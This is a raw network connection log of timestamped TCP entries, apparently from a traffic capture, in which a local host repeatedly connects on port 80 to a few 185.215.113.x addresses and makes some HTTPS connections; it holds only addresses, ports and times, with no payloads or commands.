Oct 3, 2024 03:28:10.298711061 CEST	80	49796	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:10.298954010 CEST	49796	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:11.921695948 CEST	49796	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:11.921988010 CEST	49797	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:12.050594091 CEST	80	49797	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:12.050604105 CEST	80	49796	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:12.050681114 CEST	49797	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:12.050709009 CEST	49796	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:12.051760912 CEST	49797	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:12.056694984 CEST	80	49797	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:12.760157108 CEST	80	49797	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:12.760245085 CEST	49797	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:14.265891075 CEST	49797	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:14.266294003 CEST	49799	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:14.271872044 CEST	80	49797	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:14.271948099 CEST	49797	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:14.271953106 CEST	80	49799	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:14.272171974 CEST	49799	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:14.272387981 CEST	49799	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:14.277179003 CEST	80	49799	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:14.968784094 CEST	80	49799	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:14.968859911 CEST	49799	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:16.593257904 CEST	49799	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:16.593554020 CEST	49800	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:16.598881960 CEST	80	49799	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:16.598915100 CEST	80	49800	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:16.598942995 CEST	49799	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:16.599035978 CEST	49800	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:16.599322081 CEST	49800	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:16.604687929 CEST	80	49800	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:17.368067026 CEST	80	49800	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:17.368334055 CEST	49800	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:17.642477989 CEST	80	49800	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:17.642668009 CEST	49800	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:18.875124931 CEST	49800	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:18.875281096 CEST	49801	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:18.880209923 CEST	80	49801	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:18.880276918 CEST	80	49800	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:18.880294085 CEST	49801	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:18.880335093 CEST	49800	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:18.880553961 CEST	49801	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:18.885312080 CEST	80	49801	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:19.587811947 CEST	80	49801	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:19.588063002 CEST	49801	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:21.217577934 CEST	49801	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:21.218004942 CEST	49802	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:21.222989082 CEST	80	49801	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:21.223062992 CEST	49801	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:21.223151922 CEST	80	49802	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:21.223304987 CEST	49802	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:21.223658085 CEST	49802	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:21.228550911 CEST	80	49802	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:21.954531908 CEST	80	49802	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:21.954678059 CEST	49802	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:23.467691898 CEST	49802	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:23.467992067 CEST	49803	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:23.472748041 CEST	80	49802	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:23.472816944 CEST	49802	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:23.473018885 CEST	80	49803	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:23.473211050 CEST	49803	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:23.473449945 CEST	49803	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:23.478374958 CEST	80	49803	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:24.233117104 CEST	80	49803	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:24.233309984 CEST	49803	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:25.857810020 CEST	49803	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:25.858072996 CEST	49804	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:25.862948895 CEST	80	49804	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:25.863114119 CEST	80	49803	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:25.863205910 CEST	49803	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:25.863323927 CEST	49804	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:25.863323927 CEST	49804	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:25.870131969 CEST	80	49804	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:25.871615887 CEST	49804	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:25.871653080 CEST	49804	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:27.389481068 CEST	49805	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:27.394737959 CEST	80	49805	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:27.398406029 CEST	49805	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:27.398406029 CEST	49805	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:27.403826952 CEST	80	49805	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:28.111469030 CEST	80	49805	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:28.111563921 CEST	49805	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:29.717984915 CEST	49805	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:29.718244076 CEST	49806	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:29.723028898 CEST	80	49806	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:29.723090887 CEST	49806	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:29.723165035 CEST	80	49805	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:29.723259926 CEST	49806	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:29.723284006 CEST	49805	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:29.728161097 CEST	80	49806	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:30.578479052 CEST	80	49806	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:30.578556061 CEST	49806	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:32.092504025 CEST	49806	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:32.092819929 CEST	49807	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:32.097723961 CEST	80	49806	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:32.097758055 CEST	80	49807	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:32.097841024 CEST	49806	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:32.097846031 CEST	49807	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:32.098001957 CEST	49807	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:32.102791071 CEST	80	49807	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:32.811157942 CEST	80	49807	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:32.814362049 CEST	49807	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:34.436480999 CEST	49807	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:34.436685085 CEST	49808	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:34.441749096 CEST	80	49807	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:34.441828966 CEST	49807	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:34.442099094 CEST	80	49808	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:34.443846941 CEST	49808	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:34.444161892 CEST	49808	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:34.449279070 CEST	80	49808	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:35.153558969 CEST	80	49808	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:35.153759956 CEST	49808	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:36.670368910 CEST	49808	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:36.670695066 CEST	49809	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:36.885504007 CEST	80	49809	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:36.885543108 CEST	80	49808	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:36.885740995 CEST	49809	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:36.885742903 CEST	49808	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:36.885943890 CEST	49809	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:36.891001940 CEST	80	49809	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:37.580346107 CEST	80	49809	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:37.580408096 CEST	49809	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:39.202994108 CEST	49809	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:39.203335047 CEST	49810	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:39.208873987 CEST	80	49810	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:39.209036112 CEST	49810	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:39.209290028 CEST	49810	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:39.209450960 CEST	80	49809	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:39.209539890 CEST	49809	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:39.215924978 CEST	80	49810	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:39.914781094 CEST	80	49810	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:39.917319059 CEST	49810	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:41.436455011 CEST	49810	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:41.436805964 CEST	49811	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:41.569071054 CEST	80	49811	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:41.569132090 CEST	80	49810	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:41.569195032 CEST	49811	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:41.569222927 CEST	49810	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:41.569520950 CEST	49811	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:41.574372053 CEST	80	49811	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:41.731309891 CEST	49811	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:43.358792067 CEST	49812	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:43.363687038 CEST	80	49812	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:43.363959074 CEST	49812	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:43.364204884 CEST	49812	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:43.369086027 CEST	80	49812	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:44.053200960 CEST	80	49812	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:44.053308010 CEST	49812	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:45.561069012 CEST	49812	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:45.561443090 CEST	49813	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:45.566411972 CEST	80	49812	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:45.566494942 CEST	49812	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:45.566713095 CEST	80	49813	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:45.566926003 CEST	49813	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:45.567183018 CEST	49813	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:45.572141886 CEST	80	49813	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:46.307037115 CEST	80	49813	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:46.307109118 CEST	49813	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:46.311939955 CEST	49814	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:46.316775084 CEST	80	49814	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:46.316838980 CEST	49814	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:46.317187071 CEST	49814	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:46.321949005 CEST	80	49814	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:47.052313089 CEST	80	49814	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:47.052455902 CEST	49814	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:49.217959881 CEST	49813	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:49.218637943 CEST	49815	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:49.223428011 CEST	80	49813	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:49.223767996 CEST	80	49815	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:49.223867893 CEST	49813	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:49.223910093 CEST	49815	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:49.224150896 CEST	49815	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:49.228991032 CEST	80	49815	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:49.936233044 CEST	80	49815	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:49.936371088 CEST	49815	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:49.940454960 CEST	49814	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:49.940845013 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:49.946026087 CEST	80	49814	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:49.946089983 CEST	49814	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:49.946187973 CEST	80	49816	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:49.946341991 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:49.946557999 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:49.951437950 CEST	80	49816	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:50.652237892 CEST	80	49816	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:50.652301073 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:51.423350096 CEST	49817	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:28:51.428272963 CEST	80	49817	185.215.113.37	192.168.2.5
Oct 3, 2024 03:28:51.428338051 CEST	49817	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:28:51.428580046 CEST	49817	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:28:51.433448076 CEST	80	49817	185.215.113.37	192.168.2.5
Oct 3, 2024 03:28:52.149338007 CEST	80	49817	185.215.113.37	192.168.2.5
Oct 3, 2024 03:28:52.149475098 CEST	49817	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:28:52.151485920 CEST	49817	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:28:52.156255007 CEST	80	49817	185.215.113.37	192.168.2.5
Oct 3, 2024 03:28:52.379981995 CEST	80	49817	185.215.113.37	192.168.2.5
Oct 3, 2024 03:28:52.383147955 CEST	49817	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:28:52.383147955 CEST	49817	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:28:52.875210047 CEST	49815	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:52.875478029 CEST	49818	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:52.880697966 CEST	80	49815	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:52.880819082 CEST	80	49818	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:52.880867958 CEST	49815	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:52.880899906 CEST	49818	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:52.881236076 CEST	49818	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:52.888245106 CEST	80	49818	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:53.602149963 CEST	80	49818	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:53.604991913 CEST	49818	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:55.608623028 CEST	49818	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:55.608937025 CEST	49819	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:55.615078926 CEST	80	49818	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:55.615150928 CEST	49818	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:55.615190983 CEST	80	49819	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:55.615362883 CEST	49819	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:55.615411043 CEST	49819	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:55.621491909 CEST	80	49819	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:55.657215118 CEST	80	49816	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:55.657284975 CEST	49816	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:56.328313112 CEST	80	49819	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:56.328387976 CEST	49819	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:57.816703081 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:57.816759109 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:57.816884995 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:57.817401886 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:57.817428112 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:57.952346087 CEST	49819	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:57.952727079 CEST	49821	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:57.957683086 CEST	80	49819	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:57.957758904 CEST	49819	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:57.957952976 CEST	80	49821	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:57.958082914 CEST	49821	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:57.958256006 CEST	49821	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:57.963124990 CEST	80	49821	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:58.599595070 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.599694014 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:58.601377010 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:58.601392031 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.602411985 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.603735924 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:58.603822947 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:58.603827953 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.603950977 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:58.651401997 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.684863091 CEST	80	49821	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:58.685060024 CEST	49821	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:58.780930042 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.781025887 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.781188011 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:58.781413078 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:58.781435013 CEST	443	49820	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:58.781445026 CEST	49820	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:29:00.208558083 CEST	49821	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:00.208884001 CEST	49822	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:00.213784933 CEST	80	49822	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:00.213941097 CEST	80	49821	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:00.214046955 CEST	49821	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:00.214046955 CEST	49822	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:00.214442015 CEST	49822	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:00.219288111 CEST	80	49822	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:00.924413919 CEST	80	49822	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:00.924503088 CEST	49822	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:02.666623116 CEST	49822	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:02.666903019 CEST	49823	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:02.671997070 CEST	80	49822	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:02.672080040 CEST	49822	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:02.672214985 CEST	80	49823	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:02.672288895 CEST	49823	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:02.683233976 CEST	49823	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:02.688059092 CEST	80	49823	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:02.694453955 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:02.694502115 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:02.694586992 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:02.696578979 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:02.696594000 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.345558882 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.345771074 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.345788002 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.347189903 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.347331047 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.347803116 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.347948074 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.348598957 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.348668098 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.348817110 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.348834038 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.365847111 CEST	80	49823	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:03.367414951 CEST	49823	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:03.433238029 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.632345915 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.632447004 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.633748055 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.634213924 CEST	49824	443	192.168.2.5	142.250.185.78
Oct 3, 2024 03:29:03.634228945 CEST	443	49824	142.250.185.78	192.168.2.5
Oct 3, 2024 03:29:03.645445108 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:03.645483017 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:03.646193027 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:03.646466017 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:03.646476030 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:04.876962900 CEST	49823	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:04.876976967 CEST	49829	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:04.989618063 CEST	80	49829	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:04.989851952 CEST	80	49823	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:04.990014076 CEST	49829	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:04.990154028 CEST	49829	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:04.990468025 CEST	49823	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:04.994883060 CEST	80	49829	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:04.995439053 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:04.996181011 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:04.996195078 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:04.997065067 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:04.997385979 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:04.997788906 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:04.998209000 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:05.002140999 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:05.002140999 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:05.002156019 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:05.002204895 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:05.121014118 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:05.121031046 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:05.230567932 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:05.303935051 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:05.304137945 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:05.304259062 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:05.309279919 CEST	49828	443	192.168.2.5	142.250.186.142
Oct 3, 2024 03:29:05.309299946 CEST	443	49828	142.250.186.142	192.168.2.5
Oct 3, 2024 03:29:05.701471090 CEST	80	49829	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:05.701819897 CEST	49829	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:07.239247084 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:07.239294052 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:07.242271900 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:07.242428064 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:07.242443085 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:07.331347942 CEST	49829	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:07.331684113 CEST	49834	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:07.336728096 CEST	80	49829	185.215.113.43	192.168.2.5
